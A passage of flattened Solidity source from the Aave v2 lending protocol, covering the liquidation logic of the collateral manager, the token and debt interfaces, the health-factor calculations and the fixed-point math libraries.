'../libraries/helpers/Helpers.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {ValidationLogic} from '../libraries/logic/ValidationLogic.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; import {LendingPoolStorage} from './LendingPoolStorage.sol'; /** * @title LendingPoolCollateralManager contract * @author Aave * @dev Implements actions involving management of collateral in the protocol, the main one being the liquidations * IMPORTANT This contract will run always via DELEGATECALL, through the LendingPool, so the chain of inheritance * is the same as the LendingPool, to have compatible storage layouts **/ contract LendingPoolCollateralManager is ILendingPoolCollateralManager, VersionedInitializable, LendingPoolStorage { using SafeERC20 for IERC20; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; uint256 internal constant LIQUIDATION_CLOSE_FACTOR_PERCENT = 5000; struct LiquidationCallLocalVars { uint256 userCollateralBalance; uint256 userStableDebt; uint256 userVariableDebt; uint256 maxLiquidatableDebt; uint256 actualDebtToLiquidate; uint256 liquidationRatio; uint256 maxAmountCollateralToLiquidate; uint256 userStableRate; uint256 maxCollateralToLiquidate; uint256 debtAmountNeeded; uint256 healthFactor; uint256 liquidatorPreviousATokenBalance; IAToken collateralAtoken; bool isCollateralEnabled; DataTypes.InterestRateMode borrowRateMode; uint256 errorCode; string errorMsg; } /** * @dev As thIS contract extends the VersionedInitializable contract to match the state * of the LendingPool contract, the getRevision() function is needed, but the value is not * important, as the initialize() function will never be called here */ function getRevision() internal pure override returns (uint256) { return 0; } /** * @dev Function to liquidate a position if its Health Factor drops below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external override returns (uint256, string memory) { DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset]; DataTypes.ReserveData storage debtReserve = _reserves[debtAsset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user]; LiquidationCallLocalVars memory vars; (, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData( user, _reserves, userConfig, _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); (vars.userStableDebt, vars.userVariableDebt) = Helpers.getUserCurrentDebt(user, debtReserve); (vars.errorCode, vars.errorMsg) = ValidationLogic.validateLiquidationCall( collateralReserve, debtReserve, userConfig, vars.healthFactor, vars.userStableDebt, vars.userVariableDebt ); if (Errors.CollateralManagerErrors(vars.errorCode) != Errors.CollateralManagerErrors.NO_ERROR) { return (vars.errorCode, vars.errorMsg); } vars.collateralAtoken = IAToken(collateralReserve.aTokenAddress); vars.userCollateralBalance = vars.collateralAtoken.balanceOf(user); vars.maxLiquidatableDebt = vars.userStableDebt.add(vars.userVariableDebt).percentMul( LIQUIDATION_CLOSE_FACTOR_PERCENT ); vars.actualDebtToLiquidate = debtToCover > vars.maxLiquidatableDebt ? vars.maxLiquidatableDebt : debtToCover; ( vars.maxCollateralToLiquidate, vars.debtAmountNeeded ) = _calculateAvailableCollateralToLiquidate( collateralReserve, debtReserve, collateralAsset, debtAsset, vars.actualDebtToLiquidate, vars.userCollateralBalance ); // If debtAmountNeeded < actualDebtToLiquidate, there isn't enough // collateral to cover the actual amount that is being liquidated, hence we liquidate // a smaller amount if (vars.debtAmountNeeded < vars.actualDebtToLiquidate) { vars.actualDebtToLiquidate = vars.debtAmountNeeded; } // If the liquidator reclaims the underlying asset, we make sure there is enough available liquidity in the // collateral reserve if (!receiveAToken) { uint256 currentAvailableCollateral = IERC20(collateralAsset).balanceOf(address(vars.collateralAtoken)); if (currentAvailableCollateral < vars.maxCollateralToLiquidate) { return ( uint256(Errors.CollateralManagerErrors.NOT_ENOUGH_LIQUIDITY), Errors.LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE ); } } debtReserve.updateState(); if (vars.userVariableDebt >= vars.actualDebtToLiquidate) { IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn( user, vars.actualDebtToLiquidate, debtReserve.variableBorrowIndex ); } else { // If the user doesn't have variable debt, no need to try to burn variable debt tokens if (vars.userVariableDebt > 0) { IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn( user, vars.userVariableDebt, debtReserve.variableBorrowIndex ); } IStableDebtToken(debtReserve.stableDebtTokenAddress).burn( user, vars.actualDebtToLiquidate.sub(vars.userVariableDebt) ); } debtReserve.updateInterestRates( debtAsset, debtReserve.aTokenAddress, vars.actualDebtToLiquidate, 0 ); if (receiveAToken) { vars.liquidatorPreviousATokenBalance = IERC20(vars.collateralAtoken).balanceOf(msg.sender); vars.collateralAtoken.transferOnLiquidation(user, msg.sender, vars.maxCollateralToLiquidate); if (vars.liquidatorPreviousATokenBalance == 0) { DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender]; liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true); emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender); } } else { collateralReserve.updateState(); collateralReserve.updateInterestRates( collateralAsset, address(vars.collateralAtoken), 0, vars.maxCollateralToLiquidate ); // Burn the equivalent amount of aToken, sending the underlying to the liquidator vars.collateralAtoken.burn( user, msg.sender, vars.maxCollateralToLiquidate, collateralReserve.liquidityIndex ); } // If the collateral being liquidated is equal to the user balance, // we set the currency as not being used as collateral anymore if (vars.maxCollateralToLiquidate == vars.userCollateralBalance) { userConfig.setUsingAsCollateral(collateralReserve.id, false); emit ReserveUsedAsCollateralDisabled(collateralAsset, user); } // Transfers the debt asset being repaid to the aToken, where the liquidity is kept IERC20(debtAsset).safeTransferFrom( msg.sender, debtReserve.aTokenAddress, vars.actualDebtToLiquidate ); emit LiquidationCall( collateralAsset, debtAsset, user, vars.actualDebtToLiquidate, vars.maxCollateralToLiquidate, msg.sender, receiveAToken ); return (uint256(Errors.CollateralManagerErrors.NO_ERROR), Errors.LPCM_NO_ERRORS); } struct AvailableCollateralToLiquidateLocalVars { uint256 userCompoundedBorrowBalance; uint256 liquidationBonus; uint256 collateralPrice; uint256 debtAssetPrice; uint256 maxAmountCollateralToLiquidate; uint256 debtAssetDecimals; uint256 collateralDecimals; } /** * @dev Calculates how much of a specific collateral can be liquidated, given * a certain amount of debt asset. * - This function needs to be called after all the checks to validate the liquidation have been performed, * otherwise it might fail. * @param collateralReserve The data of the collateral reserve * @param debtReserve The data of the debt reserve * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param userCollateralBalance The collateral balance for the specific `collateralAsset` of the user being liquidated * @return collateralAmount: The maximum amount that is possible to liquidate given all the liquidation constraints * (user balance, close factor) * debtAmountNeeded: The amount to repay with the liquidation **/ function _calculateAvailableCollateralToLiquidate( DataTypes.ReserveData storage collateralReserve, DataTypes.ReserveData storage debtReserve, address collateralAsset, address debtAsset, uint256 debtToCover, uint256 userCollateralBalance ) internal view returns (uint256, uint256) { uint256 collateralAmount = 0; uint256 debtAmountNeeded = 0; IPriceOracleGetter oracle = IPriceOracleGetter(_addressesProvider.getPriceOracle()); AvailableCollateralToLiquidateLocalVars memory vars; vars.collateralPrice = oracle.getAssetPrice(collateralAsset); vars.debtAssetPrice = oracle.getAssetPrice(debtAsset); (, , vars.liquidationBonus, vars.collateralDecimals, ) = collateralReserve .configuration .getParams(); vars.debtAssetDecimals = debtReserve.configuration.getDecimals(); // This is the maximum possible amount of the selected collateral that can be liquidated, given the // max amount of liquidatable debt vars.maxAmountCollateralToLiquidate = vars .debtAssetPrice .mul(debtToCover) .mul(10**vars.collateralDecimals) .percentMul(vars.liquidationBonus) .div(vars.collateralPrice.mul(10**vars.debtAssetDecimals)); if (vars.maxAmountCollateralToLiquidate > userCollateralBalance) { collateralAmount = userCollateralBalance; debtAmountNeeded = vars .collateralPrice .mul(collateralAmount) .mul(10**vars.debtAssetDecimals) .div(vars.debtAssetPrice.mul(10**vars.collateralDecimals)) .percentDiv(vars.liquidationBonus); } else { collateralAmount = vars.maxAmountCollateralToLiquidate; debtAmountNeeded = debtToCover; } return (collateralAmount, debtAmountNeeded); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IScaledBalanceToken} from './IScaledBalanceToken.sol'; import {IInitializableAToken} from './IInitializableAToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; interface IAToken is IERC20, IScaledBalanceToken, IInitializableAToken { /** * @dev Emitted after the mint action * @param from The address performing the mint * @param value The amount being * @param index The new liquidity index of the reserve **/ event Mint(address indexed from, uint256 value, uint256 index); /** * @dev Mints `amount` aTokens to `user` * @param user The address receiving the minted tokens * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve * @return `true` if the the previous balance of the user was 0 */ function mint( address user, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted after aTokens are burned * @param from The owner of the aTokens, getting them burned * @param target The address that will receive the underlying * @param value The amount being burned * @param index The new liquidity index of the reserve **/ event Burn(address indexed from, address indexed target, uint256 value, uint256 index); /** * @dev Emitted during the transfer action * @param from The user whose tokens are being transferred * @param to The recipient * @param value The amount being transferred * @param index The new liquidity index of the reserve **/ event BalanceTransfer(address indexed from, address indexed to, uint256 value, uint256 index); /** * @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying` * @param user The owner of the aTokens, getting them burned * @param receiverOfUnderlying The address that will receive the underlying * @param amount The amount being burned * @param index The new liquidity index of the reserve **/ function burn( address user, address receiverOfUnderlying, uint256 amount, uint256 index ) external; /** * @dev Mints aTokens to the reserve treasury * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve */ function mintToTreasury(uint256 amount, uint256 index) external; /** * @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken * @param from The address getting liquidated, current owner of the aTokens * @param to The recipient * @param value The amount of tokens getting transferred **/ function transferOnLiquidation( address from, address to, uint256 value ) external; /** * @dev Transfers the underlying asset to `target`. Used by the LendingPool to transfer * assets in borrow(), withdraw() and flashLoan() * @param user The recipient of the underlying * @param amount The amount getting transferred * @return The amount transferred **/ function transferUnderlyingTo(address user, uint256 amount) external returns (uint256); /** * @dev Invoked to execute actions on the aToken side after a repayment. * @param user The user executing the repayment * @param amount The amount getting repaid **/ function handleRepayment(address user, uint256 amount) external; /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IInitializableDebtToken} from './IInitializableDebtToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IStableDebtToken * @notice Defines the interface for the stable debt token * @dev It does not inherit from IERC20 to save in code size * @author Aave **/ interface IStableDebtToken is IInitializableDebtToken { /** * @dev Emitted when new stable debt is minted * @param user The address of the user who triggered the minting * @param onBehalfOf The recipient of stable debt tokens * @param amount The amount minted * @param currentBalance The current balance of the user * @param balanceIncrease The increase in balance since the last action of the user * @param newRate The rate of the debt after the minting * @param avgStableRate The new average stable rate after the minting * @param newTotalSupply The new total supply of the stable debt token after the action **/ event Mint( address indexed user, address indexed onBehalfOf, uint256 amount, uint256 currentBalance, uint256 balanceIncrease, uint256 newRate, uint256 avgStableRate, uint256 newTotalSupply ); /** * @dev Emitted when new stable debt is burned * @param user The address of the user * @param amount The amount being burned * @param currentBalance The current balance of the user * @param balanceIncrease The the increase in balance since the last action of the user * @param avgStableRate The new average stable rate after the burning * @param newTotalSupply The new total supply of the stable debt token after the action **/ event Burn( address indexed user, uint256 amount, uint256 currentBalance, uint256 balanceIncrease, uint256 avgStableRate, uint256 newTotalSupply ); /** * @dev Mints debt token to the `onBehalfOf` address. * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt tokens to mint * @param rate The rate of the debt being minted **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 rate ) external returns (bool); /** * @dev Burns debt of `user` * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address of the user getting his debt burned * @param amount The amount of debt tokens getting burned **/ function burn(address user, uint256 amount) external; /** * @dev Returns the average rate of all the stable rate loans. * @return The average stable rate **/ function getAverageStableRate() external view returns (uint256); /** * @dev Returns the stable rate of the user debt * @return The stable rate of the user **/ function getUserStableRate(address user) external view returns (uint256); /** * @dev Returns the timestamp of the last update of the user * @return The timestamp **/ function getUserLastUpdated(address user) external view returns (uint40); /** * @dev Returns the principal, the total supply and the average stable rate **/ function getSupplyData() external view returns ( uint256, uint256, uint256, uint40 ); /** * @dev Returns the timestamp of the last update of the total supply * @return The timestamp **/ function getTotalSupplyLastUpdated() external view returns (uint40); /** * @dev Returns the total supply and the average stable rate **/ function getTotalSupplyAndAvgRate() external view returns (uint256, uint256); /** * @dev Returns the principal debt balance of the user * @return The debt balance of the user since the last burn/mint action **/ function principalBalanceOf(address user) external view returns (uint256); /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IScaledBalanceToken} from './IScaledBalanceToken.sol'; import {IInitializableDebtToken} from './IInitializableDebtToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IVariableDebtToken * @author Aave * @notice Defines the basic interface for a variable debt token. **/ interface IVariableDebtToken is IScaledBalanceToken, IInitializableDebtToken { /** * @dev Emitted after the mint action * @param from The address performing the mint * @param onBehalfOf The address of the user on which behalf minting has been performed * @param value The amount to be minted * @param index The last index of the reserve **/ event Mint(address indexed from, address indexed onBehalfOf, uint256 value, uint256 index); /** * @dev Mints debt token to the `onBehalfOf` address * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt being minted * @param index The variable debt index of the reserve * @return `true` if the the previous balance of the user is 0 **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted when variable debt is burnt * @param user The user which debt has been burned * @param amount The amount of debt being burned * @param index The index of the user **/ event Burn(address indexed user, uint256 amount, uint256 index); /** * @dev Burns user variable debt * @param user The user which debt is burnt * @param index The variable debt index of the reserve **/ function burn( address user, uint256 amount, uint256 index ) external; /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title ILendingPoolCollateralManager * @author Aave * @notice Defines the actions involving management of collateral in the protocol. **/ interface ILendingPoolCollateralManager { /** * @dev Emitted when a borrower is liquidated * @param collateral The address of the collateral being liquidated * @param principal The address of the reserve * @param user The address of the user being liquidated * @param debtToCover The total amount liquidated * @param liquidatedCollateralAmount The amount of collateral being liquidated * @param liquidator The address of the liquidator * @param receiveAToken true if the liquidator wants to receive aTokens, false otherwise **/ event LiquidationCall( address indexed collateral, address indexed principal, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when a reserve is disabled as collateral for an user * @param reserve The address of the reserve * @param user The address of the user **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted when a reserve is enabled as collateral for an user * @param reserve The address of the reserve * @param user The address of the user **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Users can invoke this function to liquidate an undercollateralized position. * @param collateral The address of the collateral to liquidated * @param principal The address of the principal reserve * @param user The address of the borrower * @param debtToCover The amount of principal that the liquidator wants to repay * @param receiveAToken true if the liquidators wants to receive the aTokens, false if * he wants to receive the underlying asset directly **/ function liquidationCall( address collateral, address principal, address user, uint256 debtToCover, bool receiveAToken ) external returns (uint256, string memory); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title VersionedInitializable * * @dev Helper contract to implement initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. * * @author Aave, inspired by the OpenZeppelin Initializable contract */ abstract contract VersionedInitializable { /** * @dev Indicates that the contract has been initialized. */ uint256 private lastInitializedRevision = 0; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { uint256 revision = getRevision(); require( initializing || isConstructor() || revision > lastInitializedRevision, 'Contract instance has already been initialized' ); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; lastInitializedRevision = revision; } _; if (isTopLevelCall) { initializing = false; } } /** * @dev returns the revision number of the contract * Needs to be defined in the inherited class as a constant. **/ function getRevision() internal pure virtual returns (uint256); /** * @dev Returns true if and only if the function is running in the constructor **/ function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. uint256 cs; //solium-disable-next-line assembly { cs := extcodesize(address()) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title GenericLogic library * @author Aave * @title Implements protocol-level logic to calculate and validate the state of a user */ library GenericLogic { using ReserveLogic for DataTypes.ReserveData; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1 ether; struct balanceDecreaseAllowedLocalVars { uint256 decimals; uint256 liquidationThreshold; uint256 totalCollateralInETH; uint256 totalDebtInETH; uint256 avgLiquidationThreshold; uint256 amountToDecreaseInETH; uint256 collateralBalanceAfterDecrease; uint256 liquidationThresholdAfterDecrease; uint256 healthFactorAfterDecrease; bool reserveUsageAsCollateralEnabled; } /** * @dev Checks if a specific balance decrease is allowed * (i.e. doesn't bring the user borrow position health factor under HEALTH_FACTOR_LIQUIDATION_THRESHOLD) * @param asset The address of the underlying asset of the reserve * @param user The address of the user * @param amount The amount to decrease * @param reservesData The data of all the reserves * @param userConfig The user configuration * @param reserves The list of all the active reserves * @param oracle The address of the oracle contract * @return true if the decrease of the balance is allowed **/ function balanceDecreaseAllowed( address asset, address user, uint256 amount, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap calldata userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view returns (bool) { if (!userConfig.isBorrowingAny() || !userConfig.isUsingAsCollateral(reservesData[asset].id)) { return true; } balanceDecreaseAllowedLocalVars memory vars; (, vars.liquidationThreshold, , vars.decimals, ) = reservesData[asset] .configuration .getParams(); if (vars.liquidationThreshold == 0) { return true; } ( vars.totalCollateralInETH, vars.totalDebtInETH, , vars.avgLiquidationThreshold, ) = calculateUserAccountData(user, reservesData, userConfig, reserves, reservesCount, oracle); if (vars.totalDebtInETH == 0) { return true; } vars.amountToDecreaseInETH = IPriceOracleGetter(oracle).getAssetPrice(asset).mul(amount).div( 10**vars.decimals ); vars.collateralBalanceAfterDecrease = vars.totalCollateralInETH.sub(vars.amountToDecreaseInETH); //if there is a borrow, there can't be 0 collateral if (vars.collateralBalanceAfterDecrease == 0) { return false; } vars.liquidationThresholdAfterDecrease = vars .totalCollateralInETH .mul(vars.avgLiquidationThreshold) .sub(vars.amountToDecreaseInETH.mul(vars.liquidationThreshold)) .div(vars.collateralBalanceAfterDecrease); uint256 healthFactorAfterDecrease = calculateHealthFactorFromBalances( vars.collateralBalanceAfterDecrease, vars.totalDebtInETH, vars.liquidationThresholdAfterDecrease ); return healthFactorAfterDecrease >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD; } struct CalculateUserAccountDataVars { uint256 reserveUnitPrice; uint256 tokenUnit; uint256 compoundedLiquidityBalance; uint256 compoundedBorrowBalance; uint256 decimals; uint256 ltv; uint256 liquidationThreshold; uint256 i; uint256 healthFactor; uint256 totalCollateralInETH; uint256 totalDebtInETH; uint256 avgLtv; uint256 avgLiquidationThreshold; uint256 reservesLength; bool healthFactorBelowThreshold; address currentReserveAddress; bool usageAsCollateralEnabled; bool userUsesReserveAsCollateral; } /** * @dev Calculates the user data across the reserves. * this includes the total liquidity/collateral/borrow balances in ETH, * the average Loan To Value, the average Liquidation Ratio, and the Health factor. * @param user The address of the user * @param reservesData Data of all the reserves * @param userConfig The configuration of the user * @param reserves The list of the available reserves * @param oracle The price oracle address * @return The total collateral and total debt of the user in ETH, the avg ltv, liquidation threshold and the HF **/ function calculateUserAccountData( address user, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap memory userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) internal view returns ( uint256, uint256, uint256, uint256, uint256 ) { CalculateUserAccountDataVars memory vars; if (userConfig.isEmpty()) { return (0, 0, 0, 0, uint256(-1)); } for (vars.i = 0; vars.i < reservesCount; vars.i++) { if (!userConfig.isUsingAsCollateralOrBorrowing(vars.i)) { continue; } vars.currentReserveAddress = reserves[vars.i]; DataTypes.ReserveData storage currentReserve = reservesData[vars.currentReserveAddress]; (vars.ltv, vars.liquidationThreshold, , vars.decimals, ) = currentReserve .configuration .getParams(); vars.tokenUnit = 10**vars.decimals; vars.reserveUnitPrice = IPriceOracleGetter(oracle).getAssetPrice(vars.currentReserveAddress); if (vars.liquidationThreshold != 0 && userConfig.isUsingAsCollateral(vars.i)) { vars.compoundedLiquidityBalance = IERC20(currentReserve.aTokenAddress).balanceOf(user); uint256 liquidityBalanceETH = vars.reserveUnitPrice.mul(vars.compoundedLiquidityBalance).div(vars.tokenUnit); vars.totalCollateralInETH = vars.totalCollateralInETH.add(liquidityBalanceETH); vars.avgLtv = vars.avgLtv.add(liquidityBalanceETH.mul(vars.ltv)); vars.avgLiquidationThreshold = vars.avgLiquidationThreshold.add( liquidityBalanceETH.mul(vars.liquidationThreshold) ); } if (userConfig.isBorrowing(vars.i)) { vars.compoundedBorrowBalance = IERC20(currentReserve.stableDebtTokenAddress).balanceOf( user ); vars.compoundedBorrowBalance = vars.compoundedBorrowBalance.add( IERC20(currentReserve.variableDebtTokenAddress).balanceOf(user) ); vars.totalDebtInETH = vars.totalDebtInETH.add( vars.reserveUnitPrice.mul(vars.compoundedBorrowBalance).div(vars.tokenUnit) ); } } vars.avgLtv = vars.totalCollateralInETH > 0 ? vars.avgLtv.div(vars.totalCollateralInETH) : 0; vars.avgLiquidationThreshold = vars.totalCollateralInETH > 0 ? vars.avgLiquidationThreshold.div(vars.totalCollateralInETH) : 0; vars.healthFactor = calculateHealthFactorFromBalances( vars.totalCollateralInETH, vars.totalDebtInETH, vars.avgLiquidationThreshold ); return ( vars.totalCollateralInETH, vars.totalDebtInETH, vars.avgLtv, vars.avgLiquidationThreshold, vars.healthFactor ); } /** * @dev Calculates the health factor from the corresponding balances * @param totalCollateralInETH The total collateral in ETH * @param totalDebtInETH The total debt in ETH * @param liquidationThreshold The avg liquidation threshold * @return The health factor calculated from the balances provided **/ function calculateHealthFactorFromBalances( uint256 totalCollateralInETH, uint256 totalDebtInETH, uint256 liquidationThreshold ) internal pure returns (uint256) { if (totalDebtInETH == 0) return uint256(-1); return (totalCollateralInETH.percentMul(liquidationThreshold)).wadDiv(totalDebtInETH); } /** * @dev Calculates the equivalent amount in ETH that an user can borrow, depending on the available collateral and the * average Loan To Value * @param totalCollateralInETH The total collateral in ETH * @param totalDebtInETH The total borrow balance * @param ltv The average loan to value * @return the amount available to borrow in ETH for the user **/ function calculateAvailableBorrowsETH( uint256 totalCollateralInETH, uint256 totalDebtInETH, uint256 ltv ) internal pure returns (uint256) { uint256 availableBorrowsETH = totalCollateralInETH.percentMul(ltv); if (availableBorrowsETH < totalDebtInETH) { return 0; } availableBorrowsETH = availableBorrowsETH.sub(totalDebtInETH); return availableBorrowsETH; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title Helpers library * @author Aave */ library Helpers { /** * @dev Fetches the user current stable and variable debt balances * @param user The user address * @param reserve The reserve data object * @return The stable and variable debt balance **/ function getUserCurrentDebt(address user, DataTypes.ReserveData storage reserve) internal view returns (uint256, uint256) { return ( IERC20(reserve.stableDebtTokenAddress).balanceOf(user), IERC20(reserve.variableDebtTokenAddress).balanceOf(user) ); } function getUserCurrentDebtMemory(address user, DataTypes.ReserveData memory reserve) internal view returns (uint256, uint256) { return ( IERC20(reserve.stableDebtTokenAddress).balanceOf(user), IERC20(reserve.variableDebtTokenAddress).balanceOf(user) ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; /** * @title WadRayMath library * @author Aave * @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits) **/ library WadRayMath { uint256 internal constant WAD = 1e18; uint256 internal constant halfWAD = WAD / 2; uint256 internal constant RAY = 1e27; uint256 internal constant halfRAY = RAY / 2; uint256 internal constant WAD_RAY_RATIO = 1e9; /** * @return One ray, 1e27 **/ function ray() internal pure returns (uint256) { return RAY; } /** * @return One wad, 1e18 **/ function wad() internal pure returns (uint256) { return WAD; } /** * @return Half ray, 1e27/2 **/ function halfRay() internal pure returns (uint256) { return halfRAY; } /** * @return Half ray, 1e18/2 **/ function halfWad() internal pure returns (uint256) { return halfWAD; } /** * @dev Multiplies two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a*b, in wad **/ function wadMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfWAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfWAD) / WAD; } /** * @dev Divides two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a/b, in wad **/ function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * WAD + halfB) / b; } /** * @dev Multiplies two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a*b, in ray **/ function rayMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfRAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfRAY) / RAY; } /** * @dev Divides two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a/b, in ray **/ function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * RAY + halfB) / b; } /** * @dev Casts ray down to wad * @param a Ray * @return a casted to wad, rounded half up to the nearest wad **/ function rayToWad(uint256 a) internal pure returns (uint256) { uint256 halfRatio = WAD_RAY_RATIO / 2; uint256 result = halfRatio + a; require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW); return result / WAD_RAY_RATIO; } /** * @dev Converts wad up to ray * @param a Wad * @return a converted in ray **/ function wadToRay(uint256 a) internal pure returns (uint256) { uint256 result = a * WAD_RAY_RATIO; require(result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW); return result; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {SafeERC20} from '../../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from 